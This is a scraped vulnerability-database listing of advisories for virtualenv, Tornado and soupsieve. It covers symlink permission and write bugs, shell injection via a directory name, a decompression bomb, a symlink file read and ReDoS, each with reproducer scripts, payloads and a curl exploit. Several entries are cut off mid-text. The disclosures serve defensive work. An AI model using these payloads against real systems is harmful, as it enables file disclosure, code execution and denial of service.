[`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b | GCVE Database | ||
| Medium | 4.5 | EPSS 0.2% | Medium4.5EPSS 0.2%GCVE DatabaseCVE-2026-113724 ## Summary The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination. Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permission recovery after a filesystem deletion error. ## Attacker-controlled input A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path. ## Affected code The relevant 21.14.8 source is in [safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism `safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become `0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path. ## Reproduction and evidence The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and `virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the key's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup. This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safe_delete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path NOBODY = 65534 work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY) # the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"] subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True) subprocess.run([*make_archive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True) # from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022) def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options): home = work / home_name archive = work / archive_name key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.write_text("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True) mode_before = stat.S_IMODE(key.stat().st_mode) command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, | GCVE Database | ||
| High | 7.8 | EPSS 0.3% | CVE-2026-113722virtualenv · Generated POSIX console launchers interpret destination paths as shell syntax High7.8EPSS 0.3%GCVE DatabaseCVE-2026-113722 ## Summary A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper. ## Affected area POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path. ## Attacker-controlled input An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache. ## Affected code The relevant 21.14.8 source is in [ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism The app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like `'''exec' "<path>" "$0" "$@"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload. ## Reproduction and evidence The scanner created three environments: a control under `my -touch PWNED- project`, one under `my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was created without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding. The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. [PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately. ## Attack sequence ```mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path WORK = Path("/tmp/repro-console-script") # The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORY_NAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)", } shutil.rmtree(WORK, ignore_errors=True) pip_printed = {} created_by_pip = {} for label, name in DIRECTORY_NAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True) # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything" # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" | GCVE Database | ||
| Medium | 4.5 | EPSS 0.1% | Medium4.5EPSS 0.1%GCVE DatabaseCVE-2026-113716 ## Summary The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination. Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Directory preparation before environment files are created. ## Attacker-controlled input Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account. ## Affected code The relevant 21.14.8 source is in [builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py), [ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. `--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it. ## Reproduction and evidence The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree. With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote `python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later `pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A second case began with the `bin` link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached `~/.local/bin`. The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path to 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before creation. Concurrent parent replacement remains a separate case. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensure_dir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignore_errors=True) def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout): local_bin = home / ".local/bin" user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"} local_bin_before = set(os.listdir(local_bin)) payload_marker = home / "PWNED" # the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}") # default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True) written = sorted(set(os.listdir(local_bin)) - local_bin_before) payload_ran_at_creation = payload_marker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {local_bin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}") # lat | GCVE Database | ||
| High | 8.7 | EPSS 0.6% | CVE-2026-103262sickchill · tornado: CurlAsyncHTTPClient enforces no response-size limit — decompression bomb drives unbounded memory accumulation High8.7EPSS 0.6%GCVE DatabaseCVE-2026-103262 An unbounded memory accumulation (decompression bomb) in `tornado.curl_httpclient.CurlAsyncHTTPClient` — the client-side sibling gap of CVE-2026-49855 — verified end-to-end on the 2026-08-15 master snapshot (`6.6.dev1`) and present unchanged in the latest release tag `v6.5.8` and on master (checked 2026-08-17). When a Tornado application configures the curl client (the documented deployment for proxy support / advanced TLS options) and `fetch()`es an attacker-chosen or attacker-compromised URL with default `decompress_response=True`, a malicious server replying `Content-Encoding: gzip` with a ~2.8 MB wire bomb drove the client's RSS from 30,884 kB to **1,032,100 kB (~1008 MB) in 3.18 s** (~350 MB/s, monotonic, no plateau) until the kernel OOM-killed the process (exit 137, cgroup `OOMKilled=true`) — with the transfer only 67% complete and **no client-side size check ever intervening**: `curl_httpclient.py` contains zero occurrences of `max_body_size`/`MAXFILESIZE`. The identical bomb against the default `SimpleAsyncHTTPClient` fails cleanly at ~65 MB, because every size gate CVE-2026-49855 added (compressed CL, chunked total, cumulative decompressed size — `http1connection.py:620,676,742`) lives in code the curl client never executes. This is a distinct component from the published advisory (which fixed `_GzipMessageDelegate`/`SimpleAsyncHTTPClient` only) and from the other curl-client advisories (credential handle-reuse GHSA-pw6j-qg29-8w7f, header CRLF GHSA-w235-7p84-xx57); the file's full commit history (latest 2026-06-17) shows no response-size work. ## Details `tornado/curl_httpclient.py` (line numbers identical on master `6.6.dev1`, `v6.5.8`, and the audited snapshot): ```python "buffer": BytesIO(), # :202 — plain BytesIO, no accounting ... else: write_function = buffer.write # :359 — every decompressed byte lands here curl.setopt(pycurl.WRITEFUNCTION, write_function) # :360 ... if request.decompress_response: # default True (HTTPRequest) curl.setopt(pycurl.ENCODING, "gzip,deflate") # :373-374 — libcurl advertises + auto-decodes ``` libcurl decompresses the response **before** invoking `WRITEFUNCTION`, so the callback receives decompressed bytes, which are appended to an unbounded `BytesIO` until the transfer ends or the process dies. The only ceiling is `request_timeout` (default 20 s) — at zlib's hundreds of MB/s that still permits many GB of accumulation; the PoC raised it to 300 s and the 1 GiB cgroup cap was hit in 3.2 s regardless. There is no `pycurl.MAXFILESIZE`, no `max_buffer_size`/`max_body_size` plumbing (the constructor accepts no body-size option), and `streaming_callback` users fare no better (the callback variant at `:353-356` also performs zero accounting). Contrast — `SimpleAsyncHTTPClient` path (`tornado/http1connection.py`), all absent from the curl path: ```python if cast(int, content_length) > self._max_body_size: # :620 Content-Length gate if total_size > self._max_body_size: # :676 chunked total gate if self._decompressed_body_size > self._max_body_size: # :742 CVE-2026-49855 decompressed gate ``` `SimpleAsyncHTTPClient.initialize()` defaults `max_buffer_size = 104857600` (100 MiB) with `max_body_size` defaulting to it (`simple_httpclient.py:117-121`); `CurlAsyncHTTPClient.initialize()` has no corresponding parameter at all. Attack chain (attacker = malicious HTTP server; victim = any Tornado app doing `fetch()` on attacker-influenced URLs — URL fetchers, webhook processors, link previewers, RSS/probe pollers): 1. App configures `AsyncHTTPClient.configure("tornado.curl_httpclient.CurlAsyncHTTPClient")` (documented for proxy support; proxies are only supported with the curl client). 2. App calls `fetch("http://attacker/...")` with defaults → request advertises `Accept-Encoding: gzip,deflate`. 3. Attacker replies `200`, `Content-Encoding: gzip`, `Transfer-Encoding: chunked`, body = a gzip stream of zeros (4,174,525 wire bytes expanding to 4 GiB, 1029:1, sent in 64 KB chunks). 4. libcurl auto-decodes at ~350 MB/s into `buffer.write` with no size accounting → process RSS climbs linearly until OOM. The response need not complete: the client died with 2,818,048/4,174,525 wire bytes delivered (67%). Variant without compression: `decompress_response=False` plus an endless streaming body (no Content-Length, no final chunk) feeds the same unaccounted `buffer.write` — this client never enforces any cap on any path. ## PoC Verified end-to-end 2026-08-15 in a single container (cgroup `--memory 1g --memory-swap 1g` so the exhaustion endpoint is safe and fast to observe), two processes over a real TCP socket on `127.0.0.1:8081`: a raw-socket malicious server (`evil_server.py`, builds the 4 GiB-of-zeros gzip bomb once, serves it with chunked framing) and the Tornado victim (`victim_curl.py`, configures `CurlAsyncHTTPClient`, `fetch(..., request_timeout=300)` | GCVE Database | ||
| High | 8.2 | EPSS 0.5% | High8.2EPSS 0.5%GCVE DatabaseCVE-2026-103263 ### Summary StaticFileHandler allows an unauthenticated attacker to read arbitrary files from the server's filesystem by requesting a path that resolves to a symbolic link placed inside the static root directory. Any application that serves user-uploadable content, or whose static directory is populated by a build/deploy pipeline that creates symlinks (e.g. npm link, webpack, Docker volume mounts, CDN sync tools), is affected. An attacker who can trigger the creation of a symlink pointing outside the static root—or exploit one that already exists—can retrieve sensitive files such as /etc/passwd, private keys, configuration files, or application secrets. ### Details The vulnerability is in tornado.web.StaticFileHandler, specifically in the interaction between two methods in [tornado/web.py](vscode-webview://1grdaaa6v64itrol06qu70pq3d1b9h9im5c3npvvc9snaprc1q9f/tornado/web.py): - [get_absolute_path](https://github.com/tornadoweb/tornado/blob/0ca3c5f8279d402b245718d16522bc18a8f5d958/tornado/web.py#L2932) uses `os.path.abspath()` to resolve the requested path: - [validate_absolute_path](https://github.com/tornadoweb/tornado/blob/0ca3c5f8279d402b245718d16522bc18a8f5d958/tornado/web.py#L2935) uses the same `os.path.abspath()` on the root, then performs a string prefix check: `os.path.abspath()` normalises . and .. segments but does not resolve symbolic links. As a result, a path like `/var/www/static/link` passes the `startswith("/var/www/static/")` check regardless of where `link` actually points. Immediately after, `os.path.exists()` and `os.path.isfile()` **do follow symlinks**, so the file they ultimately open is the symlink's target. The fix would be to replace os.path.abspath() with os.path.realpath() in both methods, so the resolved real path of the symlink target is validated against the root, not just its string representation inside the static directory. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ Prerequisites: Python 3.x, Tornado installed. 1. Create the environment ``` mkdir -p /tmp/static echo "DB_PASSWORD=s3cr3t" > /tmp/secret.conf ln -s /tmp/secret.conf /tmp/static/config.conf ``` 2. Minimal vulnerable server (server.py): ``` import tornado.web, tornado.ioloop app = tornado.web.Application([ (r"/static/(.*)", tornado.web.StaticFileHandler, {"path": "/tmp/static"}), ]) app.listen(8888) tornado.ioloop.IOLoop.current().start() ``` 3. Exploit: `curl http://localhost:8888/static/config.conf` ### Impact Any application using StaticFileHandler is potentially affected if: - the static directory contains symlinks pointing outside it (common with build tooling), or - the application allows file uploads into the static directory without stripping symlinks. An unauthenticated remote attacker can read any file readable by the process user: application secrets, private TLS keys, database credentials, /etc/shadow, SSH keys, or source code (depending on the process's filesystem permissions). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.5% | Medium6.9EPSS 0.5%GCVE DatabaseCVE-2026-103261 ## Summary `HTTPServerRequest.__init__` in `tornado/httputil.py` parses the URL query string via `parse_qs_bytes()` with no field-count limit — while the sibling POST-body parsing path (`parse_body_arguments`) received a `max_num_fields=1000` cap added earlier in this exact same release (v6.5.8, commit `8d6363ed`), explicitly to bound parsing cost for the identical underlying primitive. This leaves the query-string path with the resource-exhaustion exposure the body-path fix was meant to close. **File**: `tornado/httputil.py`, line 553 (`HTTPServerRequest.__init__`) ### Root Cause ```python # tornado/httputil.py:553 (before fix) self.arguments = parse_qs_bytes(self.query, keep_blank_values=True) ``` Compare with the POST-body path fixed one commit earlier in the same release: ```python # tornado/httputil.py:1038-1041 uri_arguments = parse_qs_bytes( body, keep_blank_values=True, max_num_fields=config.urlencoded.max_arguments, # default 1000 ) ``` Both call sites funnel through the same `tornado.escape.parse_qs_bytes` (a thin wrapper over `urllib.parse.parse_qs`), which is exactly why `max_num_fields` was added to `urllib.parse.parse_qsl` upstream — to let frameworks bound field count. The fix was applied only to the body path; the query-string path was missed. The request line + headers together are capped at `max_header_size` (default 65536 bytes), so this is not literally unbounded, but a single ~64KB request line can carry thousands of short `key=value` pairs — far beyond the 1000-field limit the maintainer judged appropriate for the structurally identical body case. ### Attack Scenario 1. Attacker sends a `GET` request whose query string is packed with thousands of short fields (e.g. `k0=1&k1=1&...&k7799=1`, ~61KB), fitting comfortably under `max_header_size`. No authentication, cookies, or prior state required. 2. Tornado accepts and parses this with no field-count cap, unlike the equivalent POST-body request (which is correctly rejected with 400 once >1000 fields are present). 3. Parsing thousands of fields is CPU work performed synchronously inside Tornado's single-threaded `IOLoop`. Several such requests in flight concurrently stall the event loop, delaying processing of *all* other connections on that loop — not just the attacker's own request. ### Verification (dynamic, local reproduction against v6.5.8) Ran the unmodified v6.5.8 source directly (no external dependencies needed) with a minimal `tornado.web.Application` on `127.0.0.1:8888`. - Identical 7800-field/~61KB payload sent as GET query string → `200 OK`; sent as POST body (`application/x-www-form-urlencoded`) → `400 Bad Request` (correctly rejected by the existing `max_num_fields` body-path limit). This confirms the asymmetry directly. - Per-request parse cost: baseline (`/?a=1`) averaged 1.86ms; the 7800-field query string averaged 25.1ms (~13x). - Event-loop-blocking amplification (raw-socket test, isolating server-side stall from client overhead): with 10 sequential baseline probe requests fired with no load, average latency was 1.47ms (max 5.9ms). With 5 concurrent 61KB/7800-field requests in flight, the same baseline probes averaged 13.0ms (max 118.1ms) — an **8.9x average slowdown** for unrelated clients, produced by ~305KB of unauthenticated attacker traffic. ### Impact All Tornado servers/applications are affected — this triggers on every request with a query string, independent of application/handler logic. An unauthenticated, unprivileged remote attacker can measurably degrade response times for all other clients sharing the same `IOLoop`, using a small amount of bandwidth and no special conditions. This is an availability/DoS concern; no confidentiality or integrity impact. ### Recommended Fix ```python # tornado/httputil.py — HTTPServerRequest.__init__ if uri is not None: self.path, sep, self.query = uri.partition("?") try: self.arguments = parse_qs_bytes( self.query, keep_blank_values=True, max_num_fields=_DEFAULT_PARSE_BODY_CONFIG.urlencoded.max_arguments, ) except ValueError as e: raise HTTPInputError("Invalid query string: %s" % e) from e ``` This reuses the existing `ParseUrlEncodedConfig.max_arguments` default (1000) via the module's `_DEFAULT_PARSE_BODY_CONFIG`, matching the POST-body limit and honoring any global override via `set_parse_body_config()`. The `try/except` is necessary because — unlike `parse_body_arguments`, which already wraps its call and converts `ValueError` into a clean `HTTPInputError`/400 — the query-string call site currently has no such handling, so without it, a request exceeding the limit would raise an uncaught `ValueError` instead of a clean 400. Verified: with the fix applied, requests with ≤1000 query-string fields are unaffected; requests with >1000 fields are rejected with `400 Bad Request` (consistent with the POST-body behavior); Tornado's own `httputil_test` and `web_test` suites (256 | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-86000Soup Sieve · Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns Medium5.3EPSS 0.6%GCVE DatabaseCVE-2026-86000 ## Summary soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. ## Trust model (Q0) The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ``` - classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match. The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead). ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_compile.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status print(f"soupsieve {sv.__version__}\n") print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]") print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]") payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`). ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`) ``` soupsieve 2.9 Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError] Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=20 | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-85999sickchill · Soup Sieve: Polynomial-time ReDoS (O(n²)) Medium5.3EPSS 0.6%GCVE DatabaseCVE-2026-85999 ## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") 